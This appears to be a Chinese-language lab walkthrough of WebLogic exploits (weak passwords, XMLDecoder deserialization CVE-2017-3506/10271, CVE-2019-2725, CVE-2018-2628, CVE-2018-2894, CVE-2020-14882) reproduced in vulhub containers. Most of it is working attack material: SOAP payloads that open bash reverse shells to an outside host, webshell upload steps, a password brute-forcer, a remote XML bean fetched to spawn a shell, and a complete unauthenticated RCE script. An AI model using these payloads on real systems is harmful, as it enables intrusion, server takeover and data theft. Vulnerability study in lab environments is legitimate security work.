Weblogic漏洞复现

0x00 前言

本文将对一些常见的weblogic漏洞进行漏洞分析及复现,漏洞环境基于vulhub搭建,不分析原理,可以参考:https://mp.weixin.qq.com/s/KWZfA_JG3r0yAQCTlBkkBg

GitHub 下载 vulhub 项目。

环境:

image-20211018124003412

0x01 弱口令

环境

weak_password

启动

docker-compose up -d

访问目标:

http://127.0.0.1:7001/console/

默认用户名、密码:

1
2
用户名:weblogic
密码:Oracle@123

0x02 getshell

环境

通用的全部版本

生成 war 包:

1
2
3
4
5
6
7
8
9
10
11
pwd
shell
ls
tomcat_shell.jsp
jar -cvf Login.war ./
ls
Login.war tomcat_shell.jsp
或者:
zip Login.war tomcat_shell.jsp
ls
Login.war tomcat_shell.jsp

登录后台后,点击左侧的部署:

image-20211018124443149

点击安装

image-20211018124524324

点击上传文件

image-20211018131144677

选择Login.war 包,下一步

image-20211018131317727

下一步

image-20211018131403236

部署为应用程序,下一步

image-20211018131431349

全部默认即可,点击完成

image-20211018131544323

部署成功,使用蚁剑getshell

image-20211018131628588

0x03 CVE-2017-3506

XMLDecoder反序列化漏洞(CVE-2017-3506)

环境

使用的weak_password环境weblogic的版本为10.3.6,也存在这个漏洞,所以继续使用这个docker

漏洞原理

参考链接:https://mp.weixin.qq.com/s/KWZfA_JG3r0yAQCTlBkkBg

复现

访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在

1
2
3
4
5
6
7
8
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

image-20211018133158829

在当前页面抓包:

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.10.1:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml;charset=UTF-8
Content-Length: 1120

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.10.1/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

写马,马是蚁剑的不行,好像必须是冰蝎的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string><void method="println">
<string>bingxiema
</string></void><void method="close"/>
</object>
</java>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

因为不太懂 java ,所以直接上可以反弹 shell 的检测脚本和利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# !/usr/bin/env python           
# coding : utf-8
# Date : 2018-04-03 19:08:00
# Author : b4zinga
# Email : b4zinga@outlook.com
# Function: weblogic vuln

import requests


class WebLogic:
def __init__(self, url):
if '://' not in url:
url = 'http://' + url
self.url = url.strip('/')

def xmlDecoder(self):
"""Version:10.3.6.0.0/12.1.3.0.0/12.2.1.1.0
CVE-2017-10271
"""
headers = {
"Content-Type":"text/xml;charset=UTF-8",
"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}

# <string>bash -i &gt;&amp; /dev/tcp/192.168.10.1/4444 0&gt;&amp;1</string>
xml = """
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /tmp/b4</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>"""
req = requests.post(self.url+":7001/wls-wsat/CoordinatorPortType", headers=headers, data=xml)
if req.status_code == 500 :
print('[+] WebLogic xml decoder ')
# print(req.text)

def weakPasswd(self):
"""weak password"""

pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
for user in pwddict:
for pwd in pwddict:
data = {
'j_username':user,
'j_password':pwd,
'j_character_encoding':'UTF-8'
}
req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)

if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
print('[+] WebLogic username: '+user+' password: '+pwd)

def ssrf(self):
"""Version: 10.0.2/10.3.6
CVE-2014-4210"""
# payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001"
payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"

req = requests.get(self.url+payload, timeout=10, verify=False)
if "weblogic.uddi.client.structures.exception.XML_SoapException" in req.text and "IO Exception on sendMessage" not in req.text:
print("[+] WebLogic ssrf")



if __name__ == '__main__':
url = '192.168.10.1'
wls = WebLogic(url)

wls.xmlDecoder()
wls.weakPasswd()
wls.ssrf()

只需要将第 41 行的内容替换为第 26 行的内容,然后 nc -lvnp 4444 ,运行exp,即可接收反弹的shell。

第一次运行脚本会提示用户名和密码,但是接下来一会都不会提示,因为用户的密码错误5次后,该账户就会被锁定。

image-20211018144308113

image-20211018144320272

0x04 CVE-2017-10271

XMLDecoder反序列化漏洞(CVE-2017-10271)

漏洞原理

在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,CVE-2017-3506的补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,不过这次防护力度不够,导致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE,于是CVE-2017-10271的补丁将object、new、method关键字加入黑名单,针对void和array这两个元素是有选择性的抛异常,其中当解析到void元素后,还会进一步解析该元素中的属性名,若没有匹配上index关键字才会抛出异常。而针对array元素而言,在解析到该元素属性名匹配class关键字的前提下,还会解析该属性值,若没有匹配上byte关键字,才会抛出运行时异常。总之,这次的补丁基本上限定了不能生成java实例。

漏洞复现

上面复现 CVE-2017-10271 的过程中,用到的脚本实际上是针对 10271 的,所以遇到了直接反弹shell即可。

0x05 CVE-2019-2725

wls-wsat反序列化漏洞(CVE-2019-2725)。攻击者可以发送精心构造的恶意HTTP请求,在未授权的情况下远程执行命令

漏洞原理

漏洞触发点:bea_wls9_async_response.war、wsat.war

影响版本:Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3

通过CVE-2019-2725补丁分析发现,较上一个漏洞CVE-2017-10271补丁而言,官方新增了对class元素的过滤,并且array元素的length属性转换为整形后不得大于10000:

本次漏洞利用某个元素成功替换了补丁所限制的元素,再次绕过了补丁黑名单策略,最终造成远程命令执行。

环境搭建

1
2
3
docker pull ismaleiva90/weblogic12

docker run -d -p 7001:7001 -p 7002:7002 -p 5556:5556 ismaleiva90/weblogic12:latest
1
2
3
4
5
http://localhost:7001/console

User: weblogic

Pass: welcome1

漏洞复现

访问以下目录中的一种,如下图所示则漏洞

1
2
3
4
5
6
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https

image-20211018231037613

没有复现成功,只成功利用了 exp:

exp地址:https://github.com/TopScrew/CVE-2019-2725

image-20211019003843176

image-20211019003810753

0x06 CVE-2018-2628

WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)。Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行

同为WebLogic T3引起的反序列化漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638

漏洞原理

在InboundMsgAbbrev中resolveProxyClass中,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,这就会导致任意一个rmi接口都可绕过。核心部分就是JRMP(Java Remote Method protocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
# -*- coding: utf-8 -*-
print r'''
https://github.com/jas502n/CVE-2018-2628
@author Jas502n
'''
import base64
import urllib
import requests
from urllib import *
def shell(url,cmd):
all_url = url + "?tom=" + base64.b64encode(cmd)
try:
result = requests.get(all_url)
if result.status_code == 200:
print result.content
except requests.ConnectionError,e:
print e
th = {"url":""}
while True:
if th.get("url") != "":
input_cmd = raw_input("cmd >>: ")
if input_cmd == "exit":
exit()
elif input_cmd == 'set':
url = raw_input("set shell :")
th['url'] = url
elif input_cmd == 'show url':
print th.get("url")
else:
shell(th.get("url"),input_cmd)
else:
url = raw_input("set shell :")
th["url"] = url

项目地址:

https://github.com/0xMJ/CVE-2018-2628/

可能是在 Linux 的关系,没有成功。

image-20211019094544453

0x07 CVE-2018-2894

WebLogic 未授权访问漏洞(CVE-2018-2894),存在两个未授权的页面,可以上传任意文件,但是这两个页面只在开发环境下存在

漏洞复现

这里我们首先打开docker的开发环境。这里因为不是弱口令的docker,所以这里我们执行命令看一下进入后台的密码

1
docker-compose logs | grep password

image-20211019102139150

使用账号密码登录后台

点击 base_domain

image-20211019102330156

点击 高级 选项

image-20211019102418080

勾选 启动 web 服务测试页,保存即可进入开发环境

image-20211019102524677

开发环境下的测试页有两个,分别为config.dobegin.do

  1. config.do

首先进入config.do文件进行设置,将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

http://127.0.0.1:7001/ws_utc/config.do

将下面的内容替换掉下图的 当前的工作目录 的内容

1
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
image-20211019102909536

点击 安全 ,点击 Add ,上传一个 jsp 马,提交。

image-20211019103105271

提交后,点击 F12 ,审查元素,查看上传后的时间戳

image-20211019103323608

构造得到http://127.0.0.1:7001/ws_utc/css/config/keystore/1634611019115_shell.jsp,连接即可

  1. begin.do

打开 F12 ,点击 网络,上传一个 jsp 马

image-20211019115938943

会提示出错,但不需要理会,在网络 中找到一个 POST 包,里面有上传的 shell 地址

image-20211019120324333

image-20211019120449443

构造得到

http://127.0.0.1:7001/ws_utc/css/upload/RS_Upload_2021-10-19_04-01-03_731/import_file_name_shell.jsp

蚁剑连接成功

image-20211019120636134

0x08 CVE-2020-14882

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并执行任意代码。

影响版本

  • 10.3.6.0.0
  • 12.1.3.0.0
  • 12.2.1.3.0
  • 12.2.1.4.0
  • 14.1.1.0.0

漏洞详情

https://cert.360.cn/report/detail?id=a95c049c576af8d0e56ae14fad6813f4

漏洞复现

进入后台登录界面,直接构造

1
http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

即可访问后台,达到未授权的效果。

image-20211019121227873 image-20211019121245201

但是这里没有部署安装的按钮,也就是说不能像常规进入后台后写shell进去,这里就需要用到远程加载XML文件拿shell

image-20211019121336704

首先测试以下漏洞代码执行是否成功,在/tmp/下创建一个test文件夹

访问

1
http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22);

得到如下界面,这里看起来没有利用成功

image-20211019121500463

我们进入docker查看发现文件夹已经创建成功了

1
2
docker ps
docker exec -it b6a1b6c3e4d1 /bin/bash
image-20211019121654027

kali 创建一个xml文件,还是使用bash命令得到反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
# reverse-bash.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.10.1/5555 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

python 起一个 http 服务

1
python3 -m http.server 8000

nc开启监听端口

1
nc -lvnp 5555

访问

1
http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.10.1:8000/test.xml")

让它下载 vps 上的反弹shell,即可得到反弹shell。

但是没有成功,原因未知。。。

尝试利用 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import re
import sys
import requests
#下面这三行代码是为了解决requests的一个bug,就是Connection broken: IncompleteRead
#其实真正的原因我到现在也不清楚,但是下面这三行代码确实可以解决问题
#参考https://my.oschina.net/u/1538135/blog/858467
#python3.x中的httplib变成了http.client需要修改一下
import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
if len(sys.argv) <3:
print('用法:python exp.py http(s):target-ip:target-port command')
sys.exit()
baseurl = sys.argv[1]
#去掉url最后面的/
if baseurl[-1]=='/':
baseurl = baseurl[0:-1]
#命令中包含空格的情况
cmd = sys.argv[2]
if len(sys.argv) > 3:
i = 3
while i < len(sys.argv):
#在linux中可以使用${IFS}代替空格
#windows的话部分命令可以使用=替代空格,大家可以自行修改脚本
cmd += ' '
cmd += sys.argv[i]
i += 1
#调试的时候使用burp代理抓包,便于发现脚本的问题
proxy = {"http": "http://127.0.0.1:8080"}
res = baseurl + "/console/css/%252e%252e%252fconsole.portal"
#设置不跟随302重定向,不然会获取不到cookie
#response = requests.get(res, proxies=proxy,allow_redirects=False)
response = requests.get(res, allow_redirects=False)
cookie_raw = response.headers['Set-Cookie']

matchObj = re.match( r'(.*); path=/.*?', cookie_raw, re.M|re.I)
if matchObj:
cookie = matchObj.group(1)
#print(cookie)
else:
print('未获取到cookie!')
sys.exit();

#获取到cookie之后,发送第二个请求,用于执行命令
#注意 useDelimiter("\\A") 这个地方的两个\,需要再次转义,不然python会把其中一个作为
#转义符处理,导致真正发送的请求中只包含一个\
res = baseurl + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
headers = {"cookie":cookie, "cmd":cmd}
#response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)
response = requests.get(res, headers=headers, allow_redirects=False)
print(response.text)

image-20211019132655146